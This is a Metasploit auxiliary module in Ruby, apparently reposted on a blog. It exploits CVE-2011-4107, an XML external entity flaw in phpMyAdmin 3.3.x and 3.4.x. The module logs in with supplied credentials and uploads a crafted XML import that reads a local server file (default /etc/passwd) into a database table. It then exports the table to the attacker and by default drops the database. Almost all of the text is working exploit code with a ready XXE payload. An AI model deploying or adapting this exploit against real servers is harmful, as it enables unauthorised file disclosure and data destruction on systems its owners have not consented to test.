# Exploit Title: poc-phpmyadmin-local-file-inclusion-via-xxe-injection
# Date: 12-01-2012 |
# Author: Marco Batista |
# Blog Link: http://www.secforce.com/blog/2012/01/cve-2011-4107-poc-phpmyadmin-local-file-inclusion-via-xxe-injection/ |
# Tested on: Windows and Linux - phpmyadmin versions: 3.3.6, 3.3.10, 3.4.0, 3.4.5, 3.4.7 |
# CVE : CVE-2011-4107 |
require 'msf/core' |
class Metasploit3 < Msf::Auxiliary |
include Msf::Exploit::Remote::HttpClient |
def initialize |
super ( |
'Name' => 'phpMyAdmin 3.3.X and 3.4.X - Local File Inclusion via XXE Injection' , |
'Version' => '1.0' , |
'Description' => %q{Importing a specially-crafted XML file which contains an XML entity injection permits to retrieve a local file (limited by the privileges of the user running the web server). |
The attacker must be logged in to MySQL via phpMyAdmin. |
Works on Windows and Linux Versions 3 . 3 . X and 3 . 4 . X }, |
'References' => |
[ |
[ 'CVE' , '2011-4107' ], |
[ 'OSVDB' , '76798' ], |
[ 'BID' , '50497' ], |
[ 'URL' , 'http://secforce.com/research/' ], |
], |
'Author' => [ 'Marco Batista' ], |
'License' => MSF_LICENSE |
) |
register_options( |
[ |
Opt:: RPORT ( 80 ), |
OptString. new ( 'FILE' , [ true , "File to read" , '/etc/passwd' ]), |
OptString. new ( 'USER' , [ true , "Username" , 'root' ]), |
OptString. new ( 'PASS' , [ false , "Password" , 'password' ]), |
OptString. new ( 'DB' , [ true , "Database to use/create" , 'hddaccess' ]), |
OptString. new ( 'TBL' , [ true , "Table to use/create and read the file to" , 'files' ]), |
OptString. new ( 'APP' , [ true , "Location for phpMyAdmin URL" , '/phpmyadmin' ]), |
OptString. new ( 'DROP' , [ true , "Drop database after reading file?" , 'true' ]), |
], self . class ) |
end |
def loginprocess |
# HTTP GET TO GET SESSION VALUES |
getresponse = send_request_cgi({ |
'uri' => datastore[ 'APP' ]+ '/index.php' , |
'method' => 'GET' , |
'version' => '1.1' , |
}, 25 ) |
if (getresponse. nil ?) |
print_error( "no response for #{ip}:#{rport}" ) |
elsif (getresponse.code == 200 ) |
print_status( "Received #{getresponse.code} from #{rhost}:#{rport}" ) |
elsif (getresponse and getresponse.code == 302 or getresponse.code == 301 ) |
print_status( "Received 302 to #{getresponse.headers['Location']}" ) |
else |
print_error( "Received #{getresponse.code} from #{rhost}:#{rport}" ) |
end |
valuesget = getresponse.headers[ "Set-Cookie" ] |
varsget = valuesget.split( " " ) |
#GETTING THE VARIABLES NEEDED |
phpMyAdmin = varsget.grep(/phpMyAdmin/).last |
pma_mcrypt_iv = varsget.grep(/pma_mcrypt_iv/).last |
# END HTTP GET |
# LOGIN POST REQUEST TO GET COOKIE VALUE |
postresponse = send_request_cgi({ |
'uri' => datastore[ 'APP' ]+ '/index.php' , |
'method' => 'POST' , |
'version' => '1.1' , |
'headers' =>{ |
'Content-Type' => 'application/x-www-form-urlencoded' , |
'Cookie' => "#{pma_mcrypt_iv} #{phpMyAdmin}" |
}, |
'data' => 'pma_username=' +datastore[ 'USER' ]+ '&pma_password=' +datastore[ 'PASS' ]+ '&server=1' |
}, 25 ) |
if (postresponse[ "Location" ]. nil ?) |
print_status( "TESTING#{postresponse.body.split(" ' ").grep(/token/).first.split(" = ").last}" ) |
tokenvalue = postresponse.body.split( "'" ).grep(/token/).first.split( "=" ).last |
else |
tokenvalue = postresponse[ "Location" ].split( "&" ).grep(/token/).last.split( "=" ).last |
end |
|
|
valuespost = postresponse.headers[ "Set-Cookie" ] |
varspost = valuespost.split( " " ) |
|
#GETTING THE VARIABLES NEEDED |
pmaUser = varspost.grep(/pmaUser- 1 /).last |
pmaPass = varspost.grep(/pmaPass- 1 /).last |
return "#{pma_mcrypt_iv} #{phpMyAdmin} #{pmaUser} #{pmaPass}" ,tokenvalue |
# END OF LOGIN POST REQUEST |
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, Rex::ConnectionError =>e |
print_error(e.message) |
rescue Timeout::Error, Errno:: EINVAL , Errno:: ECONNRESET , EOFError, Errno:: ECONNABORTED , Errno:: ECONNREFUSED , Errno:: EHOSTUNREACH =>e |
print_error(e.message) |
end |
def readfile(cookie,tokenvalue) |
#READFILE TROUGH EXPORT FUNCTION IN PHPMYADMIN |
getfiles = send_request_cgi({ |
'uri' => datastore[ 'APP' ]+ '/export.php' , |
'method' => 'POST' , |
'version' => '1.1' , |
'headers' =>{ |
'Cookie' => cookie |
}, |
'data' => 'db=' +datastore[ 'DB' ]+ '&table=' +datastore[ 'TBL' ]+ '&token=' +tokenvalue+ '&single_table=TRUE&export_type=table&sql_query=SELECT+*+FROM+%60files%60&what=texytext&texytext_structure=something&texytext_data=something&texytext_null=NULL&asfile=sendit&allrows=1&codegen_structure_or_data=data&texytext_structure_or_data=structure_and_data&yaml_structure_or_data=data' |
}, 25 ) |
|
if (getfiles.body.split( "\n" ).grep(/== Dumping data for table/).empty?) |
print_error( "Error reading the file... not enough privilege? login error?" ) |
else |
print_status( "#{getfiles.body}" ) |
end |
end |
def dropdatabase(cookie,tokenvalue) |
dropdb = send_request_cgi({ |
'uri' => datastore[ 'APP' ]+ '/sql.php?sql_query=DROP+DATABASE+%60' +datastore[ 'DB' ]+ '%60&back=db_operations.php&goto=main.php&purge=1&token=' +tokenvalue+ '&is_js_confirmed=1&ajax_request=false' , |
'method' => 'GET' , |
'version' => '1.1' , |
'headers' =>{ |
'Cookie' => cookie |
}, |
}, 25 ) |
print_status( "Dropping database: " +datastore[ 'DB' ]) |
end |
def run |
cookie,tokenvalue = loginprocess() |
|
print_status( "Login at #{datastore['RHOST']}:#{datastore['RPORT']}#{datastore['APP']} using #{datastore['USER']}:#{datastore['PASS']}" ) |
|
craftedXML = "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"token\"\n\n" |
craftedXML << tokenvalue+ "\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"import_type\"\n\n" |
craftedXML << "server\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"import_file\"; filename=\"exploit.xml\"\n" |
craftedXML << "Content-Type: text/xml\n\n" |
craftedXML << "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n" |
craftedXML << "<!DOCTYPE ficheiro [ \n" |
craftedXML << " <!ENTITY conteudo SYSTEM \"file:///#{datastore['FILE']}\" >]>\n" |
craftedXML << "<pma_xml_export version=\"1.0\" xmlns:pma=\"http://www.phpmyadmin.net/some_doc_url/\">\n" |
craftedXML << " <pma:structure_schemas>\n" |
craftedXML << " <pma:database name=\"" +datastore[ 'DB' ]+ "\" collation=\"utf8_general_ci\" charset=\"utf8\">\n" |
craftedXML << " <pma:table name=\"" +datastore[ 'TBL' ]+ "\">\n" |
craftedXML << " CREATE TABLE `" +datastore[ 'TBL' ]+ "` (`file` varchar(20000) NOT NULL);\n" |
craftedXML << " </pma:table>\n" |
craftedXML << " </pma:database>\n" |
craftedXML << " </pma:structure_schemas>\n" |
craftedXML << " <database name=\"" +datastore[ 'DB' ]+ "\">\n" |
craftedXML << " <table name=\"" +datastore[ 'TBL' ]+ "\">\n" |
craftedXML << " <column name=\"file\">&conteudo;</column>\n" |
craftedXML << " </table>\n" |
craftedXML << " </database>\n" |
craftedXML << "</pma_xml_export>\n\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"format\"\n\n" |
craftedXML << "xml\n" |
craftedXML << "------WebKitFormBoundary3XPL01T\n" |
craftedXML << "Content-Disposition: form-data; name=\"csv_terminated\"\n\n" |
craftedXML << ",\n\n" |
craftedXML << "------WebKitFormBoundary3XPL01T--" |
|
|
print_status( "Grabbing that #{datastore['FILE']} you want..." ) |
res = send_request_cgi({ |
'uri' => datastore[ 'APP' ]+ '/import.php' , |
'method' => 'POST' , |
'version' => '1.1' , |
'headers' =>{ |
'Content-Type' => 'multipart/form-data; boundary=----WebKitFormBoundary3XPL01T' , |
'Cookie' => cookie |
}, |
'data' => craftedXML |
}, 25 ) |
readfile(cookie,tokenvalue) |
if (datastore[ 'DROP' ] == "true" ) |
dropdatabase(cookie,tokenvalue) |
else |
print_status( "Database was not dropped: " +datastore[ 'DB' ]) |
end |
end |
end
Tidak ada komentar:
Posting Komentar